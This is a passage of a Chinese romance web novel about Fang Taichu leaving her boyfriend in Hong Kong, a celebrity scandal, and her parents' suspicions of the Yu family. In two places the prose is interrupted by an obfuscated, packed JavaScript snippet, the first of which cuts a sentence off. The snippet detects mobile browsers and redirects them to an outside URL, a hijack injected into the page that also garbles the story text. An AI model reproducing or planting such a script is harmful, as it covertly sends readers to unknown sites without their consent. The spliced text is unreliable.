“对呀。”他的指尖戳在脸上的感觉有点冰,她试着躲了躲,却没躲开,“有我爱你还不够吗,那么在乎他的看法干什么?再说,你是怎么判断他一定不喜欢你的,你们甚至都没有正式见过面。” 余萧弋挑了挑眉,“男人的第六感。” 小初说:“把用直觉判断一件事的权利交给感官动物好吗?” “比如谁,你吗?” “我只相信证据和逻辑。”小初慧黠地眨了眨眼,“余师兄你也是数学专业出身的,别那么天马行空。” “可你也说了,我玲珑又敏锐。就像当初在飞机上,我摘掉口罩看向你的那一秒,你的心就动了,对不对?我都听见声音了。” 小初目瞪口呆,“哥哥,你这未免也太自负了吧!” 余萧弋笑得得意非凡,“从结果倒推,事实就是如此。” 小初轻嗤,“所以听觉对狐狸而言很重要,是吗?” 余萧弋垂眸,半眯着眸子看向她,“我是狐狸?” “你都说了爷爷是老狐狸,那你不是小狐狸是什么?”小初没好气刮了刮他的鼻子,“否则,我又怎么会被你诱骗。” 余萧弋一听不干了,也没管曹旸就在车里看着他们,一把把她拥入怀中,“方太初,你只是被我诱骗的吗?我们不是两情相悦,命中注定的吗?” 他的脸蓦地在面前放大,吓了小初一跳,再想躲已经来不及了,这下她是真的掉进他深邃又多情的眼眸,怎么都脱不开身了,“好啦,我承认,就算是被你诱骗的,也是我心甘情愿的。” “下次还敢胡说吗?”余萧弋对着她的唇亲上来,“嗯?” 只被他这么浅浅亲了一下,她的意志力就软弱下来,想到不久后真正的分别,眼底的湖逐渐泛起涟漪,“不敢了。” 他箍着她不肯松手,“我只怕你回了北京就像野马回了草原,鱼儿回了大海,很快就忘了我余某人是谁了。” 小初有些无奈,“放心,我连那么复杂的数学公式都记得住,小余总这么令人印象深刻,我肯定不会忘的。” “回去要想我。”余萧弋再次捧住她的脸,“早点回来。” “好,知道了。” “不许带梁培风单独和你爸妈吃饭。” “好!知道啦!”小初第一次发现他这么啰嗦。 “我也会想你,会每分每秒都想着你。” 余萧弋温柔干净的目光直直照进小初心底,她有些脸热,小声嘟囔了一句,“要不要这么夸张,我只是离开一个星期而已。” 他极为认真,“一日不见,如隔三秋。” “你少来。” “我说真的。” 小初突然问:“那以后你去了美国怎么办?还要为我得相思病吗?” 他反问:“那你呢,会为我得相思病吗?” 小初的呼吸因为一股无名的酸涩滞了一下,“当然。”她故作轻松地,“凭咱们俩的交情,我怎么还不为你难过个三天三夜。” 余萧弋眯了眯眸子,“那三天之后呢?” “该吃吃该喝喝呗,不然还能怎么办?日子总要照过吧?”说到这小初才想起件事来,“对了,美国那个学校是不是这个月就截止第一轮网上申请了?实在抱歉,这段时间实在是太忙了,都没顾得上问你,是我疏忽。” “嗯。”余萧弋勾唇,揉了揉她的头发,“我知道你忙。” 小初声音闷闷的,“你自己记得就好。” 他这人虽然面上看着挺矜持温柔的,为人处世也很少暴露他骨子里的攻击性,有时候甚至有点不羁和散漫,但两人毕竟亲密相处了这么久,她要是再看不清他做事果决缜密又掌控感十足的底色,也就别说爱过他一场了。 去美国读博这件事,想必一两年前,甚至更早,就已经是他人生中一张完善而精细的规划表了。她的出现,纯属命运的玩笑,既然如此,她真的很想问问,当初遇见她的时候,他怎么就不能控制一下自己的感情呢? 如今就因为他的不控制,她也要被他拖进甜蜜与痛苦纠缠的深渊了。 是因为他太自负,不计后果也要先得到,还是因为他……太自负,笃定只要他想要的,最后都会得偿所愿? 总之,一切都是因为他的自负。 “这个回头再说。” 曹旸降下车窗,喊了声:“小姐,时间差不多了。” 小初应了一声,朝余萧弋抿抿唇,“我得走了。” “嗯。”余萧弋帮她拉开车门,又护着她的头看着她坐进去,“路上慢点,到了机场给我打电话。” 小初点头。 曹旸启动了发动机,车门缓缓关上。 然后,也不知出于什么,本来已经准备让到一边去的他突然伸手,挡住了即将闭合的车门,冲动的话脱口而出,“要不,我陪你到下一个路口?” 小初怔住,有那么一瞬间她感觉自己已经具备了感官动物的雏形,但理智很快回归,“不要啦!我几天就回来了,你至于这么难舍难分?” 余萧弋的呼吸蓦地急促起来,连他自己也说不清楚自己为什么如此贪恋和她在一起的时光,“我还有东西要给你。” 小初无奈,偏头看了他一眼,伸出手,“什么?现在拿来好了。” “等下。”余萧弋大步跑回车里,又迅速反身回来。 是一件旧物,所有有点不好意思拿出来,被他有意藏在了身后。 小初难得见他不好意思的样子,越发好奇,“什么东西,神神秘秘的。” “就……” 余萧弋只说了一个字,曹旸就率先开了口,“两位,你们要不到车上来说话,再耽误一会儿飞机都飞走了。” “也可以。”余萧弋唇边泛起笑意,从善如流地上了车。 小初向里面挪了个位置给他。 车门一关,车子就轰然一声飞了出去,地上一片树叶被卷起,啪地一下打在挡风玻璃上,动静实在太大,惹得三个人都沉默了一瞬。 曹旸轻咳一声,解释:“抱歉,没控制好油门力度。你们继续,不用管我。” 小初脸红的已经不像她的,“曹旸姐,你是不是觉得我们俩特腻歪,特矫情?” 曹旸目不转睛,看着前方路况,嘴角缓缓勾起一个弧度,又很快消失,“怎么会?热恋期嘛,都是这样的。我那个时候也没比你们好到哪里去。” 小初实在没办法把如此酷帅洒脱的她和热恋期的小女生联系起来,不禁好奇,“啊?比如呢?” “比如?”曹旸透过后视镜看她一眼,“没有比如,有些事还是烂在自己心里比较好。” “……”除了沉默,小初不知道自己该说句什么。 她身边还真都是一群妙人。 余萧弋笑出声,然后才把手里的东西递给小初,“这是我很早之前的枕边读物,手机扫码可以听粤语原声,你不是想学粤语嘛,那就跟小朋友一样,从绘本读起好了。” “你为什么不肯亲自教我?”小初瞪他一眼,然后才垂眸,下一秒,表情就凝在了脸上,她实在没想到,他送她的竟然是一本…… 麦兜系列《这是爱》。 她没怎么看过这个系列的书,只在网上刷到著名的鱼丸粗面片段,每次看,都会被那只有些执着又有些笨拙的小猪治愈到。封面上的麦兜在一片粉红色的爱心海洋中间,懵懂又快乐。 “你说为什么?”余萧弋对她的不自知很无奈,“我只是稍微更正一下你的读音,你看你那个态度,哪个老师胆子那么大,敢教你这样的学生。” “我有吗?”小初随意将书本翻开,才不承认,“我很谦卑的好不好,明明是你没有耐心。” 作者笔下的麦兜,单纯得似乎和所有人都在努力揾钱的快节奏香港格格不入,却也有种大智若愚的通透,不管世界如何变换,只按自己的节奏爱和被爱着。 余萧弋意味深长地看她一眼,“小姐,我还没有耐心吗?” 小初咬唇,打定主意不再理他,合上书,看向窗外。 天气预报说北京将迎来今冬首场降雪,不知是不是受这股寒流影响,香港今天也大降温,下一个路口还很远,她就看见梁培风穿了件黑色冲锋衣,双手插袋站在路边,整个人都散发着一种熟悉的味道,让她无端联想起北京地铁的早高峰。 海淀的冬天,就是黑色冲锋衣的世界,相比之下,港风气质很浓的余萧弋有时候真的很像她梦中才会出现的幻觉碎片,因她的想象而凝结成型,说不定哪天,随着她缓缓睁眼,就会消散无痕。 香港四个月,实在太像一场梦。 突然不想醒。 梁培风似是没想到余萧弋也在车上,在看见他的那一瞬神色明显一愣,“Theo?你去送机?”而后才揶揄一笑,“这么多人,就没有一个你放心的吗?” 余萧弋勾了勾唇,“我有什么可不放心的,刚好我还有点别的事,方太初就拜托给你了,路上帮我照顾好她。” “别啊兄弟。”梁培风摆摆手,将自己的双肩包扔到副驾驶脚下,整个人跳上去,“我一般不照顾别人女朋友,我建议,你还是自己送到北京去好了。” “……”余萧弋从后面用力推了推他的后颈,“废什么话。”又回头捧住小初的脸旁若无人地亲了一口,“我走了啊。” “嗯。”小初晃了晃手中的麦兜,“到机场给你电话。” “好。”余萧弋歪头,落在小初眼底最后的画面就是他努力微笑朝她摆手的模样,一双琥珀色的眼眸,像是银河倒转将仙境透过他将星光洒向人间,只是一个简单的凝视,都盛满柔情。 车子启动,明明速度很快,却不知怎么在她面前都自动转化成了电影里的慢镜头,而她爱的人,就是那样,蒙太奇一般的,屏幕上的雪花一闪,就被融进了街景里。 一颗心蓦地很空。 在一起后第一次分开,她有些无所适从。 三个半小时航程很难熬,原本以为自己登机就会进入深眠的,结果她愣是一点没睡,幸好有可爱的麦兜相陪。 蓝牙耳机里的粤语很动听,只是她很想告诉余萧弋他错了,这本书通篇关于爱的美好文字,哪是什么小朋友的绘本,应该是很多成年人都未必参透的人生哲学才对。 飞机降落在首都机场,舷窗外的世界已然一片纯净的白,今冬的第一场雪,比她想象中要大很多。 要知道,去年的一整个冬天,甚至再往前倒推三年,北京似乎都没有下过什么雪,偶尔有点小雪花稀稀疏疏地飘几下,还没落地,就已经化成了混沌和潮湿。 她掏出手机,认真找了角度,将纯白的北京一隅拍成照片给余萧弋发了过去,告诉他:【我到了,你看,外面在下雪。】 语气是她自己都没有注意到的温柔。 作为一个从小见惯了雪的人,她已经不记得上一次专门跟别人分享雪这件事是多久之前。 大概是她爸还在上海的时候吧。 以前年纪小不懂,现在长大了,她才渐渐明白,原来分享就已经是想念。 余萧弋很快回了过来:【好,我想你。】 小初问:【你在做什么?】 【外面热闹得有点刺眼,于是躺回家里发了一上午的呆。】 小初眼睫颤了颤,唇角不自觉被他牵动起来。 【不然你约铭仔他们去吃饭吧。】 【人家餐厅里都是一对一对的,谁要和他。】 【……】 要不要这么深的怨念? 她快要被他笑死,但人类的悲喜怎么能相通?于是回他,【我要下机了,你乖啦,无论怎样,先去吃饭。不然,我会有负罪感的,因为……】她附过去一个挑衅的表情,【我爸妈要带我去吃大餐。】 后面相邻舱位的曹旸打电话过来,提醒她戴好口罩。 小初下意识看了眼窗外,“外面很冷吗?” “不是,你看下我微信消息。” 电话挂断,舱门刚好打开,小初起身,点进曹旸的聊天页面,然后下一秒,她的瞳孔就因今日的娱乐版头条剧烈地颤了颤。 新闻封面的尺度大得惊人,总结来说就是一对年轻男女正在各种纠缠和亲吻,女主的礼服吊带已经从肩头滑落,男主的衬衫扣子也只剩了一颗,尽管两人都没有正脸进入镜头,但还是不难看出,男方正是昨晚刚在澳门电视剧盛典上摘得年度影响力艺人桂冠的芮坤霖。 小初向来不怎么关注娱乐圈,却也知道这位曾因出演现象级双男主剧爆火的男顶流。 主要亦方去年差点请他给自家智能家居产品做代言,为此特地对他进行过背调,最后发现这家伙出道前实在太多黑料,为了避免暴雷,方协文直接一票否决了广告部的提案。 现在想想,还真是好险。 广告部真应该给他们方总磕一个。 话说回来,小初还挺好奇这些照片是怎么被拍到又是怎么流出来的,因为对方所处的环境显然要么是富豪权贵的私人府邸要么是严格限制会籍数量的私人会所,无论哪一样,私密性都极高,根本不是普通狗仔可以触到的层级。 而且,既然拍到了,对拍摄者而言最符合逻辑的做法难道不是赶紧索要个天价封口费落袋为安吗,直接发出来,落这么一颗双输的死棋到底又对谁有好处呢? 小初对于娱乐圈和各路资本会因此发生什么山呼海啸般的效应倒是不关心,这件事令她震惊的点说到底和芮坤霖三个字半点关系也没有,要不是女主实在太像杨敏之,她估计她连点进去的兴趣都没有。 平台很谨慎,词条只敢带个#杨小姐#,甚至照片中女方的侧颜都打了马赛克,但这么做反而欲盖弥彰,更显得那件礼服夺人眼球,没错,就是杨敏之昨晚出席活动时穿的那一件。 好一场酣畅淋漓的公开处刑。 对芮坤霖背后的资本,对杨家,甚至还有余家…… 想到这,小初才恍然明白曹旸的意思,【芮坤霖也在这趟飞机上?】 【就是和你一起登机的那个戴冷帽和墨镜的男人。】 【……】 不是,这男人时间管理观念是不是有点太强了?不到十二个小时辗转三个城市,参加完活动,伺候完金主,竟还有精力爬起来搭早班飞机,这体力,这态度,这对自我的高要求,小初是真自愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小初闻着她身上味道,语气不自觉染了撒娇,“妈,您要不要听听您在说什么,我眼睛本来就大好不好?”她笑嘻嘻的,“毕竟是您和爸爸遗传基因的顶级MIX版本,专挑优点长的。” 方协文本来已经对混乱的机场秩序不耐烦到了极致,这会儿看到女儿的脸神情也松弛了下来,嘴角不动声色勾起一个好看的弧度,“是吧?亦方的人都说,你长得跟我一个模子里刻出来似的。” 小初嘴角一抽,并不是很情愿,“爸,他们那是恭维你呢,而且相当盲目。” 方协文得意地挑了挑眉,“那你别管,等你到了我这个位置,也可以让他们专挑你喜欢听的说。” 小初眨眨眼:“好啊,到时候我就让他们天天夸我才貌双全,深得方总真传。” 方协文听了果然立刻大笑起来,脸上残存的阴霾彻底消散,甚至还豪气地拍了拍梁培风的肩膀,事发太突然,把人家吓一跳,“走啊培风,中午陪叔叔喝点?” 黄亦玫递了个无声的白眼过去。 小初笑出了声。 她就知道,她是有点敷衍人的天赋的。 梁培风受宠若惊,却连连谢绝,这帮人到底都是什么主角命,随便把别人都当没有思想的工具人? 谁要卷入他们父女的博弈凭白让自己得罪那个小心眼的Theo余啊! “不好意思啊方叔叔,我已经答应我爸妈回家吃饭了,下次有机会的,我一定先自罚三杯。” 方协文不无遗憾,“也行吧,反正等你和小初都回了京,咱们有的是机会。” 梁培风眼睫一颤,和小初对视的瞬间后背上的汗都快下来了,语气却谦卑至极,“您太客气了,方叔叔。” 方协文今天没带司机,只想一家三口度过一个简单温馨的独处时光。很快,一行人就在地下停车场入口处告了别。 曹旸很有眼色,主动提出自己先帮小初把行李送回去,谁知还没转身,就被方协文叫住。 “曹旸,最近忙我也没问你,方太初这段时间在香港生活得怎么样啊,一切都顺利吗?” 曹旸瞳孔骤然一缩,面上却还算镇定,“挺顺利的,方总。” “你确定?”方协文的声音听不出喜怒,很有一种久居上位的威严。 空气都因此静了几秒。 “我……”曹旸不动声色吞了吞口水,“确定。” 方协文不置可否。 黄亦玫见状赶紧出来打圆场,“好啦,都十二点多了,方总不是说要带我们去吃一家很特别的禅意菜吗?今天的雪下得这么美,有什么事可以后面再说嘛,别破坏了这份禅意。” 小初也抗议,“爸,原来您不是让曹旸姐来保护我的,而是来监视我的,既然如此这次返港您也别让她跟着我了,我自己一个人来去反而更自由。” 方协文这才朝曹旸挥了挥手,并递给小初一个没好气的眼神,“你想得美。” “曹旸姐。”小初从她手中拿过一袋蝴蝶酥,并安慰地拍了拍她的肩膀,一切与她尽在不言中,“辛苦了。” “不会。” 曹旸神色仍是淡淡的,转身大步离开。 她一走,方协文就点了点小初的额头,语气很是无奈,“越大越不听话。” 小初弯了弯眼角,把一块蝴蝶酥喂到她爸嘴里,动作很乖巧,出口的话却不怎么温柔,“说的好像我小时候就听话似的。” 黄亦玫笑出声,“方总是不是忘了,她小时候说你再试图控制她,就准备去北京六院和她见面的事?” 方协文脸色瞬间变得很难看。 “不可能。”小初坚决否认,“我绝不可能说过这样的话,咱们家的家庭氛围这么温馨有爱,谁要去住医院啊。” 黄亦玫也无奈地戳了戳她额角。 小初把另一块蝴蝶酥喂给她妈妈,目光清亮如山间小溪淙淙流过,无比明媚天真,“怎么样?香港的经典手信,好吃吗?” 黄亦玫点点头,“很不错,甜而不腻。” “爸您觉得呢?” 方协文睨她一眼,“还行吧,回头拿我办公室去,做茶点。” 小初嘴角慢慢斜起来,“好。” 并很快又补了一句,“小余买的。” 方协文的表情一秒就凝在了脸上,并马上示意他老婆,“快快,玫瑰,我要纸巾。” 黄亦玫笑得墨镜差点飞出去,“算了老公,吃都吃了,再吐出来就有点不礼貌了。” “就是。”小初也笑,“好味道需要慢慢品,方总您这么慧眼如炬,我才不信您看不出小余同学的好。” 方协文瞪他,“我还看梁培风不错呢。” “他有女朋友了。” “……”方协文蹙了蹙眉,“什么时候的事?” “那您别管。”小初也喂了自己一块点心,笑得漫不经心,“反正您看他不错也没用,没听说子女的良配往往是父母一开始最讨厌的那个人吗?就比如,我姥姥姥爷舅舅当初那么不看好您,到最后还不是您凭实力笑到最后?您这自己也是吃过苦的人,就不能将心比心让别人少吃点吗?” “方太初。” 方协文还没说话,黄亦玫先忍不了了,“你别胡说八道挑拨离间啊!你爸当年可是我第一个带回家的正式男友,从一开始就在终点的好吧?再说了,你姥姥姥爷什么时候不看好他了,他们喜欢他喜欢得不得了好不好?” 方协文也说:“就是。” “……”小初咬了咬唇,“得,我是小丑好吧?” 一家人笑着往车的位置走去。 里面陆陆续续还有芮坤霖的粉丝和各个平台的媒体人涌出来。 方协文已十分不耐,“所以今天到底是哪个大人物莅临首都啊,好大的阵仗。” 黄亦玫说:“我看新闻上说好像是杨镝英的长女和一个男明星让人家给拍了。” 方协文停下脚步,眉头渐渐蹙起来,“杨镝英的长女?就和余家联姻那个?” 黄亦玫点点头。 “都联姻了怎么还能搞出男明星的事?” “这个就不太清楚了。” 方协文冷哼,“说明他们那个圈子就是乱的。” 小初睫毛颤了颤,没敢吭声。 然后就听见她爸又加了一句,“我现在听见这个余字就烦。今年过年咱家不准出现‘年年有余’这四个字啊,记住了没方太初?” “哦。” 这怎么还搞起文字狱来了。 91.第 91 章 芮坤霖事件果然引发了娱乐圈海啸,微博的服务器甚至一度因此瘫痪。 各大营销号和媒体号下方简直成了职业黑粉的狂欢盛宴,热闹程度堪比过年。 一开始,常年位居明星粉丝榜榜首的芮粉还试图操控评论,殊不知这种过度的舆论遏制早就引起了广大网友的厌烦,流量反噬就如同飓风过境,速度和破坏力都是恐怖量级的。 从事发到不雅照满天飞,甚至都没过去一个小时。 在那些照片里,芮坤霖衣衫不整,神色迷离,和平时那个哪怕和女演员对视一眼都会脸红的纯情男人简直判若两人,有几张,他甚至完全跪在了杨敏之脚下,说好听点像女王和他的不二臣,说难听点…… 年度影响力艺人瞬间变成了年度最想降低影响力的艺人。 八百年前某个综艺官号专门为他创建的词条#看,是流量呀#,也被网友玩梗成了#看,是流量鸭#,可是说是很地狱的笑话了。 一个号称占尽半个娱乐圈流量的高高在上的偶像,在资本面前却是这副丑陋的姿态,小初这种不追星的人是真的不懂到此刻还在为他冲锋陷阵的粉丝到底是怎么想的。 是自尊心作祟必须向所有人证明自己没有爱错人吗? 但,爱错人最好的自救方式难道不是及时止损吗? 芮方的公关团队也很厉害,也不知他们是靠什么话术操控的粉丝,总之,在发觉到舆论已不可逆转后没多久,刚靠投票帮芮坤霖拿到电视节大奖的上百万个活人账号就集体转了口风,从疯了似的追着路人澄清芮坤霖和杨敏之的关系,过度到了到处宣传两人本就是真爱了。 至于杨小姐和余珺彦的婚约,当然都是资本的阴谋。 早些年某豪门大小姐和娱乐圈男艺人生生被家族拆散最后害男方郁郁而终的故事还历历在目呢,他们被时代和观念束缚就算了,现在的网友怎么能助纣为虐,忍心看悲剧重演? 流程走得太快,艾琳发消息过来问芮坤霖和杨敏之到底是不是真爱的时候,小初午饭甚至才吃到一半。 方协文带她和黄亦玫来的这家素食餐厅据称是整个国内都无出其右的顶级植物料理,用餐环境和菜品都有着很贴近自然态的写意表达。 比如此刻坐在窗前,三人一边用炭火煎古树普洱,一边赏寂静庭院里的落雪这件事,就挺写意和浪漫的。 只不过,小初向来不喜欢把一件简单的事复杂化,更不喜欢别人用所谓的“故事感”裹挟自己的情绪,所以她吃着也就还行,并没有她那个搞艺术的妈那么风雅,也没有她那个为了和搞艺术的老婆精神共鸣什么都肯做的爸那么附庸风雅。 她回艾琳,【你是相信她俩是真爱,还是相信我是秦始皇?】 艾琳大笑,【我信你是秦始皇对我有什么好处?】 【好处就是明天就可以陪你去西直门吃你想吃的那家餐厅了。】 【你回北京了?】 【对啊。】小初拍了张炭火煎茶的照片给她发了过去,火苗跳动的红泥小炉不是构图重心,她更想给她看的其实是窗外意境十足的中式庭院,【陪我爸妈吃饭呢,还吃的素食,艾琳你记住,明天的菜单必须得有肉,不然我就不去了。】 【好,有肉!我用我人格保证!只是……】艾琳实在难以抑制一颗八卦得心,【如果杨小姐根本不爱芮顶流,她的行为也太让人迷惑了吧,不是说她未婚夫还是她初恋吗?而且俩人又很快就要订婚了,话说回来,你不觉得余珺彦比那个什么芮坤霖好看一百倍吗?】 然后她又恍然补了一句,【一定是余珺彦豪门贵公子骨子里太傲了,做不到像芮那样跪在她脚边……这么一想好像什么都解释得通了!】 后面还附了个又坏又欠的表情。 小初差点被一口茶呛死。 黄亦玫赶紧递了张纸巾过去,并温柔帮她拍了拍背。 方协文却看不过眼,“方太初,你好容易陪你爸妈吃个饭却一直看手机,像话吗你?跟谁啊,那么多话聊?” “艾琳!”小初扬了扬手机,忽而一笑,“我最好的朋友,也是方总您的粉丝,之前有段时间喜欢您喜欢得干脆把您照片设置成了屏保,每天不看一千遍,她都睡不着觉。” 方协文一听就蹙起了眉,迅速瞥了老婆一眼,“小崽子你是不疯了连你爸的玩笑都敢开?再说你这都什么朋友,你把她当朋友,她喜欢你爸,然后也不好好学习,一天净捅咕她那个破手机,看一千遍,手机触屏都失灵了吧?” 这次轮到黄亦玫差点被茶水呛到。 小初也笑到手抖,“爸,我第一次发现您还挺幽默。” “没你找对象的眼光幽默。”方协文倾身过来,认真看向黄亦玫,“老婆,你别听她胡说八道。她这是怕我们说她,故意制造矛盾转移视线呢,我们可不能被她把思路带偏了。” 黄亦玫浅浅喝了口竹笙菌汤,看他一眼:“也不全是胡说八道吧?刚刚停车场给你让车位那姑娘也是你粉丝吧?你没看看她手机屏幕是不是你照片?” “……”方协文露出一个委屈的表情,“反正我知道你手机屏幕不是。”他点亮自己的手机,将他们在意大利向彼此求婚时在蓝洞拍的合影展示给她看,“你就跟我换成一样好不好嘛?” 黄亦玫立刻笑着谢绝:“我又不像你,有两个手机,我换成这个要是被公司的人还有客户看见了显得我多不专业啊。” 方协文咬牙,“我也没有两个手机!” 小初这才露出一个恍然的神色,“妈,您说的该不会就是刚刚穿瑜伽服身材巨好那姑娘吧?” 方协文眸色如刀:“方太初你给我闭嘴。” 小初挑了挑眉,坏笑道:“谁让您说我找对象眼光幽默的。” 他伸手,“把你手机拿过来,我看看你屏保是什么?” 小初一副你看了可别后悔的模样,也没避讳,点亮屏幕把手机递到父母面前,“随便看。” 方协文的神色在看到穿小纱裙的那个她的瞬间就柔软了下来,“还是小时候比较可爱。”很多回忆袭来,他突然有点伤感,伸手揉了揉老婆的头发,“你还记得她身上穿的这条小纱裙不,那是不是咱俩第一次给她买奢侈品牌?” 黄亦玫的眼底也有水汽蔓延,“怎么不记得?我当时还有点舍不得,说她小,穿不了几次裙子就小了,你非说什么你闺女就要用最好的穿最好的,抢着就把钱付了。结果怎么着,买完这条裙子,你连着加了半个月的班。” 方协文抬眸,瞪了眼小初,“早知道她长大这么气人,我当初就不该冲动消费。” 父母头挨着头一起回忆旧时光的画面太动人,小初强忍着心底的酸涩,才没有当着他们的面哭出来。她当然什么都懂,只是个性使然,她向来不太喜欢太长篇大论的煽情。 就像,她幻想中的婚礼也只是找王薇薇定一件简洁款式的轻婚纱,再找个热带小岛,观礼嘉宾只请双方至亲,交换完戒指,吻完新郎,她就换上泳衣跳进海里游泳,游累了回房间就沉沉睡去,直睡到第一缕晨曦顺着窗帘爬进来,温柔将她爱的人照亮给她看,并告诉她,方太初,从今天开始你就正式是这个人的妻子了。 如此而已就很好。 她没有太强的表演欲,也不觉得这世上的大多数人有资格做她的观众。 虽然这么说很有些狂妄,但事实就是如此。大多数人类的婚礼都是一场自我感动的大型Cosplay,但她已经是公主了,就不需要再Cos别人了。 但她偏偏找了余萧弋,若真和他有那么一天,凭他们余家只是孩子过个生日都要搞那么大阵仗的做事风格,她想一切从简大概也只能停留在幻想阶段了。 还好,与此同时她也不是个太较真的人,且敷衍人的功夫还可以,真让她配合表演,她也能将演技修炼得炉火纯青。 “爸,妈,你们眼里就只有你们的女儿吗?都不仔细看看我怀里搂着那个小男孩吗?”小初喝了口普洱茶,轻声提醒道。 “我刚还想问呢,这谁啊?叶子瑜小时候吗?”方协文眯了眯眸子,将手机拿远了一点,“不对啊,叶同学应该是你中学时候才认识的吧?” 这个动作又让小初一阵酸涩。 就算再怎么不想承认,她也不得不面对现实,她的父母真的已经逐渐年华老去了,总有一天,他们会就这样把她一个人孤零零丢在这世上。 “你等会儿。”黄亦玫又认真看了两秒,终于想起了什么,“这不是小余吧?天呐,还真是他!是了,那年你文然阿姨带他来上海玩,确实跟我约饭来着。你在哪找到这张照片的?你别说哈,这小余同学还真算是等比例长大的,模样基本没怎么变,甚至还比小时候更好看了。” 方协文在一旁眉间早已皱成了川字,问黄亦玫,“不是,你闺女刚认识人家就这么不管不顾搂了上去,你也不拦一下?这下好,留下这么个证据,还不叫那小子得意坏了?” 黄亦玫大笑,“哪还拦得住,你闺女见到帅哥眼睛都快亮成银河了,热情得不得了。” 方协文冷哼,“我说她好好一个女孩子,从小既不缺钱也不缺爱的,怎么一到香港就被人家勾住了呢,感情她这是纯看脸啊?我怎么就没觉得他长得多好看呢,就这样的咱北京还不遍地都是?远了不说,亦方就有好几个。” 他又眯着眸子看了眼那张照片,嫌弃至极,“方太初,爸爸必须得跟你说,这找对象啊,长相是最不重要的,还是得多看看对方的性格和人品。” “???”小初不敢相信自己听到什么,最后她实在忍不了了,也没管那么多,直接指了指黄亦玫的脸,“不是,爸,您跟我说您这叫没看长相?” 好虚伪的男人! 黄亦玫也瞥他,“方协文你什么意思啊?” “我……”方协文轻咳一声,眼角的鱼尾纹都多了好几条,“我就是看的人品和性格啊。”又转向小初,“你不觉得你妈妈的颜值跟她内在比起来实在不值一提吗?” 黄亦玫挑眉喝了口茶。 “……”小初别过头去,“妈,我爸说的都是真的吗?” “别问我。”黄亦玫眨眨眼,“我比较肤浅,当年只顾着看脸来着。” 话音一落,三人就都不可抑制地笑了起来。 方协文得意非凡,“没错,你妈妈搞艺术的,审美的确高级一点。” 小初是真忍不了了,一把夺回了手机,“不是,您二位吃好了吗,我看不然咱就撤吧,一会雪越下越大了。” “你着什么急。”方协文按住她,“还有几道菜没上呢,这顿饭不算茶酒可是要一万多块呢,你不心疼我们,好歹心疼心疼钱好吗?” “就这几片破叶子?” “你能不能有点艺术气息,怎么这么庸俗。” 小初无语,“您一会儿让我心疼钱,一会儿让我别这么庸俗,您到底想要我怎样?” 方协文逐渐认真,“我只要你快乐,健康。” 小初说:“那就试着接受一下小余同学,不行吗?您为什么就非对他偏见那么深呢?您甚至都没见过他。” “谁说我没见过,不就上次阶梯教室穿黑色卫衣坐你身后那小子吗?” 小初愣住,耳朵已经开始发热,“您怎么知道的?” “男人的第六感。你也说了,父母一眼就能看出人群中哪个最讨厌的人可能正在跟自己孩子谈恋爱。” “……” 他们男人都是什么可怕的感官动物! “所以,您跟梁培风说的那些话就是故意说给他听的?” 方协文不否认,却也没直接承认,“我说什么不说什么还要管他在不在?谁让他非来听的。” 黄亦玫不明所以,“他说什么了?” 小初撇了撇嘴角,“他就是第二个当年的舅舅,具体您自行想象。” 黄亦玫没好气地打了他胳膊一下,“不是,方协文,你怎么能这样呢?” 方协文叹口气,“你别说,自从生了她,我还真是越来越理解当年的大哥了。玫瑰,你不是也不想她和余家沾上关系吗?他们家都内斗成什么样了,这样的家庭长大的孩子骨子里能不是狠人吗,就咱家方太初这样的,回头能被人家吃得骨头渣都不剩,到时候你和我都老了,死了,谁还能护着她?” 黄亦玫不吭声了。 小初抗议:“爸,韬韬叔叔也是那个家庭长大的,他就很好啊,你们跟他不是朋友吗?我觉得仅凭出身就否定一个人的全部真的太武断了。” 方协文冷哼,“你天真,方太初。我们是和他算朋友,但也是几百年都没有什么联系甚至也没有生意往来的朋友,我认识他二十几年都不敢说他一定是怎么样的人,你才跟他接触几天,就敢替他的人品打包票了?远了不说,就说今天这杨镝英的闺女和男明星被曝光的事,你觉得会是谁做的?” 小初怔了怔,“谁?” “反正肯定是他们余家内部的人,没准就是余韬韬和萧文然,你想想,现在谁最不希望二房和杨家联姻?我刚看了眼新闻,普通狗仔绝对很难拍到那些照片,私家侦探还有点可能。” 小初始料未及,她一直天真以为爸妈对萧文然夫妇的印象应该还是很好的,没想到事实竟是这样。 成年人的世界果然比她想象的要复杂多了。 “包括昨天孚邦医疗的股票暴跌的事,大概率也是他们余家内部人做的,很多内幕的东西,别说外人,就是证监会亲自去查,都未必短时间会查得这么清楚。尤其是涉及余巍巍钱权交易的事,这个东西,肯定不会是他直接出面做的,即使是,痕迹肯定也就早抹掉了,爆料人这么笃定,一定是他手里有确凿的证据,那这个证据,谁最可能有?” 小初沉默。 “你看着吧,这几天的公共假期一结束,余巍巍本人,他情妇,以及他作为实际控制人管理的几家公司就都要进入各个部门的调查程序了,事情闹得这么大,官方不给一个合理的解释,很难说服民众的。说不准,拔出萝卜带出泥,还会牵扯到什么东西,以及什么人。”方协文语重心长,“不然你以为爸爸为什么要你立刻回来?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930721|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他说的这些小初自然也早都想到了,只是她不太懂的是,“您要我立刻回来是因为……您觉得我在那边会有什么危险吗?” 方协文和黄亦玫对视了一眼,没有把话说得太明,“不一定是有什么危险,但我们不想你离漩涡太近。” 小初抿抿唇,“爸,我知道您都是为了我好,如果真像您说的,那些事都是萧文然夫妇做的,我也能理解。毕竟,是余巍巍自己做错事在先,甚至还害了好几条无辜的生命,至于杨敏之,如果她洁身自好,就算一百个私家侦探日夜跟着,也拍不到东西吧?” 